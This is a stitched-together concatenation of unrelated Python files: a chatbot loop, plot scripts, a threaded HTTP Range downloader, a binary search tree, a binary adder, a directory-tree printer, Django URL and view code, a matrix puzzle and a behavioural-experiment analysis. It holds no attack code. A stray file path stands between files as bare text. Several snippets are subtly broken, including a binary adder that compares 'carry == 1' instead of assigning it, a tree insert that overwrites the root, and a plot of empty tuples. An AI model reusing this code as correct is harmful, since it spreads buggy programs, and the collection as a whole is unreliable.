from chatBot import Chatbot
Bot = Chatbot ('Kelly')

Bot.fala("Hi! My name is Kelly.")
frase = Bot.escuta()
Bot.fala(Bot.pensa(frase))
while True:
    frase = Bot.escuta()
    resp = Bot.pensa(frase)
    Bot.fala(resp)
    if resp == 'tchau':
        break


import numpy as np
import matplotlib.pyplot as plt

rounds1 = ()
rounds2 = ()
rounds3 = ()

fig, ax = plt.subplots()
plt.rc('font',**{'family':'Times'})
plt.rc('text', usetex=True)
index = np.arange(4)

plt.plot(index, rounds1, '-o', color='black', linewidth=3, markersize = 8, label = r"\beta=1")
plt.plot(index, rounds2, '-d', color='grey', linewidth=3, markersize = 8, label = r"\beta=2")
plt.plot(index, rounds3, '-^', color='silver', linewidth=3, markersize = 8, label = r"\beta=3")

plt.xlabel(r'SINR path-loss exponent ($\alpha$)', fontsize = 24)
plt.ylabel('Running time (rounds)', fontsize = 24)
#ax.set_xlim(-0.5, 4.5)
#ax.set_ylim(0, 450)
ax.tick_params(axis='x', which='major', pad=8)
plt.xticks(index, (3, 4, 5, 6), fontsize = 20)
plt.yticks(fontsize = 20)
plt.legend(loc = 'upper left', numpoints = 1, prop = {'size':24})

fig.set_tight_layout(True)
fig.savefig('alpha-beta.pdf', format='pdf', dpi = 500)


import socket
from matplotlib import pyplot as plt
import hashlib
import threading
import os
import sys
import timeit
from queue import PriorityQueue

host = sys.argv[1]
file = sys.argv[2]
port = 80
chunkSize = (int)(sys.argv[3])
numTCP = (int)(sys.argv[4])
output_file = sys.argv[5] + '.txt'
start = 0
data = PriorityQueue()
start_time = timeit.default_timer()

print("Hostname: {}".format(host))
print("Accessing File: {}".format(file))
print("chunkSize = {}".format(chunkSize))
print("Number of Parallel TCP connections = {}".format(numTCP))

fb = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
fb.connect((host, port))
fbrequest = 'GET /big.txt HTTP/1.1\r\nHost:%s\r\nConnection: keep-alive\r\nRange: bytes=%s\r\n\r\n' % (host, '0-1')
fb.send(fbrequest.encode())

header = ''
while True:
	msg = fb.recv(1)
	header += msg.decode()
	if '\r\n\r\n' in header:
		break

l = header.find("Content-Range")
fileSize = (int)(header[l:].split('\r\n')[0].split("/")[1])

def getRequest():
    global start
    a = start
    b = start + chunkSize
    if b > fileSize:
        b = fileSize
        start = fileSize
        return a, b
    start += chunkSize + 1
    return a, b

loglist = []

def sendRequest(l, threadName):
    global start
    global data
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    while start != fileSize:
        a, b = getRequest()
        part = str(a) + '-' + str(b)
        request = 'GET /%s HTTP/1.1\r\nHost:%s\r\nConnection: keep-alive\r\nRange: bytes=%s\r\n\r\n' % (file, host, part)
        #print(threadName, part)
        s.send(request.encode())
        header = ''
        d = ''
        while True:
            msg = s.recv(1)
            if len(msg) < 1:
                s.close()
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((host, port))
                s.send(request.encode())
                header = ''
                continue
            header += str(msg)[2:-1]
            if '\\r\\n\\r\\n' in header:
                break

        for i in range(chunkSize+1):
            msg = s.recv(1)
            d += msg.decode()
        data.put((a, d))
        kt2 = timeit.default_timer()
        l.append((b, kt2-start_time))
    s.close()
    loglist.append(l)

threads = []

for i in range(numTCP):
    l = []
    t = threading.Thread(target=sendRequest, args=(l, "Thread-" + str(i),))
    t.start()
    threads.append(t)

for t in threads:
    t.join()

end_time = timeit.default_timer()
time_taken = (end_time - start_time)

if len(sys.argv) > 6:
	MD5Sum = hashlib.md5()
	while not data.empty():
		s = data.get()
		MD5Sum.update(s[1].encode())
	print('MD5Sum = {}'.format(MD5Sum.hexdigest()))
	exit()

print("Downloading in File: {}".format(output_file))
f = open(output_file, 'w')
MD5Sum = hashlib.md5()

while not data.empty():
    s = data.get()
    MD5Sum.update(s[1].encode())
    print(s[1], end='', file=f)

f.close()

print('MD5Sum = {}'.format(MD5Sum.hexdigest()))
print('Time to Download = {}'.format(time_taken))
print()

plt.figure()
for i in range(len(loglist)):
    l1 = loglist[i]
    timek = []
    bytek = []
    lb = 'Connection-' + str(i)
    for j in range(len(l1)):
        timek.append(l1[j][1])
        bytek.append(l1[j][0])
    plt.plot(timek, bytek, label=lb)

plt.legend()
plt.title('TCP Connection Log')
plt.ylabel('Bytes Downloaded')
plt.xlabel('Time(s)')
c = 'log' + sys.argv[5] + '.png'
plt.savefig(c)
plt.show()
plt.close()


class BinaryTreeNode:
    def __init__(self, data):
        self.data = data
        self.left = None
        self.right = None
class BST:

    def __init__(self):
        self.root = None
        self.numNodes = 0

    def printTreeHelper(self, root):
        if root is None:
            return
        print(root.data, end=":")
        if root.left is not None:
            print("L:", end='')
            print(root.left.data, end=',')
        if root.right is not None:
            print("R:", end='')
            print(root.right.data, end='')
        print()
        self.printTreeHelper(root.left)
        self.printTreeHelper(root.right)

    def printTree(self):
        print("1111")
        print(self.root.data)
        self.printTreeHelper(self.root)

    def searchHelper(self, root, data):
        #print("data : ", data)
        if root is None:
            return False
        #rint("root.data : ", root.data)
        if root.data == data:
            return True
        if root.data > data:
            return self.searchHelper(root.left, data)
        else:
            return self.searchHelper(root.right, data)

    def search(self, data):
        return self.searchHelper(self.root, data)

    def insertHelper(self, root, data):
        # print("data : ", data)
        if root is None:
            # print("root None")
            node = BinaryTreeNode(data)
            self.root = node
            return node
        # print("root.data : ", root.data)
        if root.data > data:
            # print("root low")
            root.left = self.insertHelper(root.left, data)
            return root
        else:
            # print("root high")
            root.right = self.insertHelper(root.right, data)
            return root

    def insert(self, data):
        self.numNodes += 1
        self.root = self.insertHelper(self.root, data)

    def min(self,root):
        if root is None:
            return 10000

        if root.left is None:
            return root.data

        return self.min(root.left)

    def deleteHelper(self, root, data):
        #print("data : ",  data)
        if root is None:
            #print("root is none")
            return False, None
        #print("root.data : ", root.data)
        if root.data < data:
            #print("root is greater")
            deleted, newRightNode = self.deleteHelper(root.right,data)
            root.right = newRightNode
            return deleted, root

        if root.data > data:
            #print("root is smaller")
            deleted, newLeftChild = self.deleteHelper(root.left, data)
            root.left = newLeftChild
            return deleted, root
        #print("DATA AND ROOTDATA ARE SAME")
        if root.left is None and root.right is None:
            #print("leaf")
            return True, None

        if root.left is None:
            #print("no left child")
            return True, root.right

        if root.right is None:
            #print("no right child")
            return True, root.left

        #print("BOTH EXIST")

        replacement = self.min(root.right)
        #print("MIN cleared")
        #print("replacement : ", replacement)

        root.data = replacement
        #print("replacement done")
        deleted, newRightNode = self.deleteHelper(root.right, replacement)

        root.right = newRightNode
        return True, root

    def delete(self, data):
        deleted, new_root = self.deleteHelper(self.root, data)
        if deleted:
            self.numNodes -= 1
        self.root = new_root
        return deleted

    def count(self):
        return self.numNodes
b = BST()
b = BST()
li = [int(ele) for ele in input().split()]
i = 0
while(i < (len(li) )):
    choice = li[i]
    if choice == 1:
        data = li[i+1]
        b.insert(data)
        i+=2
    elif choice == 2:
        data = li[i+1]
        b.delete(data)
        i+=2
    elif choice == 3:
        data = li[i+1]
        ans = b.search(data)
        if ans is True:
            print('true')
        else:
            print('false')
        i+=2
    else:
        b.printTree()
        i+=1
#1 41 1 20 1 65 1 11 1 29 1 50 1 91 2 65 3 5 4

Data Structures and Algorithms in Python/17_BST_2/04_BST_Class.py


first = input("Input the first number.")
list1 = []
for digit in first:
    list1.append(int(digit))

second = input("Input the second number.")
list2 = []
for digit in second:
    list2.append(int(digit))

carry = 0
num = []

for x, y, z in zip(range(-1,(-1 * len(list1)-1),-1),
                   range(-1, (-1 * len(list2))-1,-1),
                   range(0,len(list2))):
    if list1[x] == 1 and list2[y] == 1:
        if carry == 0:
            num.insert(0,0)
            carry = 1

        elif carry == 1:
            num.insert(0,1)
            carry = 1

        if carry == 1 and z == -1 * len(list2):
            num.insert(0, carry)
            break

    elif (list1[x] == 0 and list2[y] == 0):
        if carry == 1:
            num.insert(0,1)
            carry = 0

        elif carry == 0:
            num.insert(0,0)
            carry = 0

    elif (list1[x] == 0 and list2[y] == 1) or (list1[x] == 1 and list2[y] == 0):
        if carry == 1:
            num.insert(0,0)
            carry == 1

        elif carry == 0:
            num.insert(0,1)
            carry == 0

print (num)


import os
import sys

#(current direcotry, gap = how nested current directory is , str)
def solve(directory, gap, str):
  # print("dir ", directory)
  dirs = os.listdir(directory)
  # sorting dirrectory
  dirs.sort()

  # interating over all the files and checking if it is a directory.
  for x in dirs:
    print(str, "--" + x)
    curr = os.path.join(directory, x) + "/"

    if os.path.isdir(curr):
      # directory found..
      solve(os.path.abspath(curr), gap + 1, str + (gap * " ") + "|")

mainDir = sys.argv[1]
print("Printing tree for ", mainDir)
print()

solve(mainDir, 1, "|")


"""SDRF URL Configuration

The `urlpatterns` list routes URLs to views. For more information please see:
    https://docs.djangoproject.com/en/3.0/topics/http/urls/
Examples:
Function views
    1. Add an import:  from my_app import views
    2. Add a URL to urlpatterns:  path('', views.home, name='home')
Class-based views
    1. Add an import:  from other_app.views import Home
    2. Add a URL to urlpatterns:  path('', Home.as_view(), name='home')
Including another URLconf
    1. Import the include() function: from django.urls import include, path
    2. Add a URL to urlpatterns:  path('blog/', include('blog.urls'))
"""
from django.contrib import admin
from django.urls import path,include
from SDRFAPP import views
from rest_framework.routers import DefaultRouter
router =DefaultRouter()

#regsiter studentvieset with routre

#router.register('studenapi',views.StudentViewSet,basename='student'),
#router.register('studenapi',views.StudenModeltViewSet,basename='student'),
router.register('studenapi',views.StudenReadOnlyModeltViewSet,basename='student'),

urlpatterns = [
    path('admin/', admin.site.urls),
    path('studinfo/<int:pk>',views.StudentDetails),#this url helps to get single data
    path('studinfo/',views.StudentDetailsList),#this one by all data
    path('studcreate/', views.StudentCreate),
    path('studapi/', views.student_api),
    path('staffapi/', views.StaffAPI.as_view()),
    path('empapi/', views.EmployeeCreate),
    path('EmployeeAPI/', views.EmployeeAPI),
    path('EmployeeAPI/<int:pk>', views.EmployeeAPI),
    path('EmployeeAPIView/', views.EmployeeAPIView.as_view()),
    path('EmployeeAPIView/<int:pk>', views.EmployeeAPIView.as_view()),
    # path('studentapi/',views.StudentList.as_view()),
    # path('studentapi/',views.StudentCreate.as_view()),
    # path('studentapi/<int:pk>',views.StudentRetrieve.as_view()),
    # path('studentapi/<int:pk>',views.StudentUpdate.as_view()),
    # path('studentapi/<int:pk>',views.StudentDestroy.as_view()),
    # path('studentapi/',views.StudentListCreateAPIVIEW.as_view()),
    # path('studentapi/<int:pk>',views.StudentUDRAPIVIEW.as_view()),
    # path('studentapi/',views.studList.as_view()),
    # path('studentapi/',views.studCreateList.as_view()),
    # path('studentapi/<int:pk>',views.studRetrieveList.as_view()),
    # path('studentapi/<int:pk>',views.studUpdateList.as_view()),
    path('studentapi/<int:pk>', views.studDestroyList.as_view()),
    path('api/',include(router.urls)),

]


from django.http import HttpResponse, HttpResponseRedirect, HttpRequest
from django.template import Context, loader
from stats.models import SearchIP

def time(request):
    if request.method == 'GET':
        tm = SearchIP().Get_date()
        return HttpResponse(tm)

def myip(request):
    if request.method == 'GET':
        ipaddr = request.META['REMOTE_ADDR']
        return HttpResponse(ipaddr)

def index(request):
    template = loader.get_template('index.html')
    return HttpResponse(template.render())

def search(request):
    if 'ip' in request.GET:
        ip = request.GET['ip']
        tdt = request.GET['tdt']
        data = SearchIP().get_like_ip(ip, tdt)
        template = loader.get_template('result.html')
        if data == u'NotData' or data == u'NotConnect' or data == u'IPaddressNotValid' or data == u'DateNotValid':
            context = dict({
                'data': data,
            })
            template = loader.get_template('error.html')
            return HttpResponse(template.render(context))
        context = dict({
            'data': data,
        })
        return HttpResponse(template.render(context))
    else:
        template = loader.get_template('error.html')
        return HttpResponse(template.render())


# -*- coding: utf-8 -*-
import random
from functools import reduce

list_merge = lambda lst: reduce(lambda d, el: d.extend(el) or d, lst, [])
get_xy = lambda xy: [int(i)-1 for i in str(xy)]
get_hunt = lambda lst: int(''.join(str(x+1) for x in lst))

def make_matrix(n, m):
    if 2 <= m < 10 and 2 <= n < 10:
        return [[y+(x+1)*10+1 for y in range(m) if y < 9] for x in range(n)]
    return []

def make_hunt_matrix(lst):
    n = len(lst)
    m = len(lst[0])
    merged_data = list_merge(lst)
    random.shuffle(merged_data)
    data = [[0] * m for _ in range(n)]

    for x in range(n):
        for y in range(m):
            v = merged_data.pop()
            # set hunt instead of 11
            data[x][y] = v if v != 11 else 21
    return data

def find_hunt(matrix):
    x, y = 0, 0
    chain_data = []
    while True:
        value = matrix[x][y]
        hunt = get_hunt([x, y])
        if value == hunt:
            break
        if value in chain_data:
            chain_data.append(0)
            break
        chain_data.append(value)
        s = get_xy(value)
        x, y = s[0], s[1]

    return chain_data

def main(n, m):
    matrix = make_matrix(n, m)
    hunt_matrix = (make_hunt_matrix(matrix))
    print(hunt_matrix)
    print(find_hunt(hunt_matrix))

if __name__ == '__main__':
    main(3, 2)


import numpy as np
from scipy.stats import norm
import pandas as pd
import matplotlib.pyplot as plt
from Load_Data import load_data
from helper_classes import BiasPredModel, SwitchModel
from helper_functions import *
import statsmodels.api as sm
import pickle
import glob
import re
import lmfit
import seaborn as sns
from ggplot import *
from collections import OrderedDict as odict

#*********************************************
# Load Data
#*********************************************

group_behavior = {}
gtrain_df = pd.DataFrame()
gtest_df = pd.DataFrame()
gtaskinfo = []

bias_fit_dict = pickle.load(open('Analysis_Output/bias_parameter_fits.p','rb'))
nobias_fit_dict = pickle.load(open('Analysis_Output/nobias_parameter_fits.p','rb'))
midline_fit_dict = pickle.load(open('Analysis_Output/midline_parameter_fits.p','rb'))
switch_fit_dict = pickle.load(open('Analysis_Output/switch_parameter_fits.p','rb'))

train_files = glob.glob('../Data/*Context_20*.p')
test_files = glob.glob('../Data/*Context_test*.p')

for train_file, test_file in zip(train_files,test_files):
    subj_name = re.match(r'.*/Data\\(\w*)_Prob*', test_file).group(1)
    print(subj_name)

    try:
        train_dict = pickle.load(open(train_file,'rb'))
        taskinfo, train_dfa = [train_dict.get(k) for k in ['taskinfo','dfa']]
    except FileNotFoundError:
        print('Train file not found')
    try:
        test_dict = pickle.load(open(test_file,'rb'))
        taskinfo, test_dfa = [test_dict.get(k) for k in ['taskinfo','dfa']]
    except FileNotFoundError:
        print('Test file not found')

#*********************************************
# Preliminary Setup
#*********************************************

    recursive_p = taskinfo['recursive_p']
    states = taskinfo['states']
    state_dis = [norm(states[0]['c_mean'], states[0]['c_sd']), norm(states[1]['c_mean'], states[1]['c_sd']) ]
    ts_order = [states[0]['ts'],states[1]['ts']]
    ts_dis = [state_dis[i] for i in ts_order]
    ts2_side = np.sign(ts_dis[1].mean())
    taskinfo['ts2_side'] = ts2_side
    #To ensure TS2 is always associated with the 'top' of the screen, or positive
    #context values, flip the context values if this isn't the case.
    #This ensures that TS1 is always the shape task-set and, for analysis purposes,
    #always associated with the bottom of the screen
    train_dfa['true_context'] = train_dfa['context']
    test_dfa['true_context'] = test_dfa['context']

    if ts2_side == -1:
        train_dfa['context'] = train_dfa['context']* -1
        test_dfa['context'] = test_dfa['context']* -1
        ts_dis = ts_dis [::-1]

    #What was the mean contextual value for each taskset during this train run?
    train_ts_means = list(train_dfa.groupby('ts').agg(np.mean).context)
    #Same for standard deviation
    train_ts_std = list(train_dfa.groupby('ts').agg(np.std).context)
    train_ts_dis = [norm(m,s) for m,s in zip(train_ts_means,train_ts_std)]
    #And do the same for recursive_p
    train_recursive_p = 1- train_dfa.switch.mean()

    #decompose contexts
    test_dfa['abs_context'] = abs(test_dfa.context)
    train_dfa['abs_context'] = abs(train_dfa.context)
    train_dfa['context_sign'] = np.sign(train_dfa.context)
    test_dfa['context_sign'] = np.sign(test_dfa.context)
    #Create vector of context differences
    test_dfa['context_diff'] = test_dfa['context'].diff()

    #transform rt
    train_dfa['log_rt'] = np.log(train_dfa.rt)
    test_dfa['log_rt'] = np.log(test_dfa.rt)

    #*********************************************
    # Model fitting
    #*********************************************

    bias_params = bias_fit_dict[subj_name + '_scalar_cost']
    bias_fit_observer = BiasPredModel(train_ts_dis, [.5,.5], ts_bias = bias_params['tsb'], recursive_prob = bias_params['rp'])
    nobias_params = nobias_fit_dict[subj_name + '_scalar_cost']
    nobias_fit_observer = BiasPredModel(train_ts_dis, [.5,.5], ts_bias = 1, recursive_prob = nobias_params['rp'])

    for bias, fit_observer in [('bias',bias_fit_observer), ('nobias', nobias_fit_observer)]:
        #Fit observer for test
        observer_choices = []
        posteriors = []
        for i,trial in test_dfa.iterrows():
            c = trial.context
            posteriors.append(fit_observer.calc_posterior(c)[1])
        posteriors = np.array(posteriors)

        test_dfa[bias + 'fit_observer_posterior'] = posteriors
        test_dfa[bias +'fit_observer_choices'] = (posteriors>.5).astype(int)
        test_dfa[bias +'fit_observer_switch'] = (test_dfa[bias + 'fit_observer_posterior']>.5).diff()
        test_dfa[bias +'conform_fit_observer'] = np.equal(test_dfa.subj_ts, posteriors>.5)
        test_dfa[bias +'fit_certainty'] = (abs(test_dfa[bias + 'fit_observer_posterior']-.5))/.5

        #Optimal observer for test
        optimal_observer = BiasPredModel(train_ts_dis, [.5,.5], ts_bias = 1, recursive_prob = train_recursive_p)
        observer_choices = []
        posteriors = []
        for i,trial in test_dfa.iterrows():
            c = trial.context
            posteriors.append(optimal_observer.calc_posterior(c)[1])
        posteriors = np.array(posteriors)

        test_dfa['opt_observer_posterior'] = posteriors
        test_dfa['opt_observer_choices'] = (posteriors>.5).astype(int)
        test_dfa['opt_observer_switch'] = (test_dfa.opt_observer_posterior>.5).diff()
        test_dfa['conform_opt_observer'] = np.equal(test_dfa.subj_ts, posteriors>.5)
        test_dfa['opt_certainty'] = (abs(test_dfa.opt_observer_posterior-.5))/.5

    test_dfa['id'] = subj_name
    gtest_df = pd.concat([gtest_df,test_dfa])
    gtaskinfo.append(taskinfo)

gtaskinfo = pd.DataFrame(gtaskinfo)

#Exclude subjects where stim_confom is below some threshold
select_ids = gtest_df.groupby('id').mean().stim_conform>.75
select_ids = select_ids[select_ids]
select_rows = [i in select_ids for i in gtest_df.id]
gtest_df = gtest_df[select_rows]
ids = select_ids.index

#separate learner group
select_ids = gtest_df.groupby('id').mean().correct > .55
select_ids = select_ids[select_ids]
select_rows = [i in select_ids for i in gtest_df.id]
gtest_learn_df = gtest_df[select_rows]
learn_ids = select_ids.index

#*********************************************
# Model Comparison
#*********************************************
compare_df = gtest_learn_df

model_subj_compare = compare_df[['subj_ts','opt_observer_posterior','nobiasfit_observer_posterior', 'biasfit_observer_posterior']].corr()

optfit_log_posterior = np.log(abs(compare_df.subj_ts-(1-compare_df.opt_observer_posterior)))
biasfit_log_posterior = np.log(abs(compare_df.subj_ts-(1-compare_df.biasfit_observer_posterior)))
nobiasfit_log_posterior = np.log(abs(compare_df.subj_ts-(1-compare_df.nobiasfit_observer_posterior)))
midline_rule_log_posterior = np.log(abs(compare_df.subj_ts - (1-abs((compare_df.context_sign==1).astype(int)-.1))))

compare_df = pd.concat([compare_df[['id','subj_ts','context']], optfit_log_posterior, biasfit_log_posterior, nobiasfit_log_posterior, midline_rule_log_posterior], axis = 1)
compare_df.columns = ['id','subj_ts','context','optimal','bias','nobias', 'midline']
compare_df['random_log'] = np.log(.5)

summary = compare_df.groupby('id').sum().drop(['context','subj_ts'],axis = 1)
plt.hold(True)
summary.plot(figsize = (16,12), fontsize = 16)
plt.ylabel('Log Posterior')


""" Plot Functions """
import matplotlib.pyplot as plt

def plot_matches(genuine_match, disguise_match, simulated_match, threshold):
    """ Plot Match Point percentages """

    plt.figure(figsize = (8, 8))
    match = [genuine_match, disguise_match, simulated_match]
    plt.hist(match, label=['Genuine', 'Disguise', 'Simulated'])
    plt.legend()
    plt.title('Matched Points')
    plt.savefig('../Plots/PMatchpoints' + str(threshold) + '.jpg')
    plt.show()

def plot_EER(theta_range, far, frr, threshold):
    """ Plot EER vs Theta """

    plt.figure(figsize = (8, 8))
    plt.plot(theta_range, far, color = 'red')
    plt.plot(theta_range, frr, color = 'blue')
    plt.title('EER vs Theta')
    plt.legend(['FAR', 'FRR'])
    plt.savefig('../Plots/Error' + str(threshold) + '.jpg')
    plt.show()